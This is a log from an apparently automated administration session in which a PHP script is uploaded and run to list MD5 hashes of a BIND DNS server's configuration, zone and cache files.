MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-02 11:15:33: Establishing a connection
2026-02-02 11:15:33: 

PUT: /tmp/pkp343573

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-02 11:15:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp343573; rm /tmp/pkp343573'

2026-02-02 11:15:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
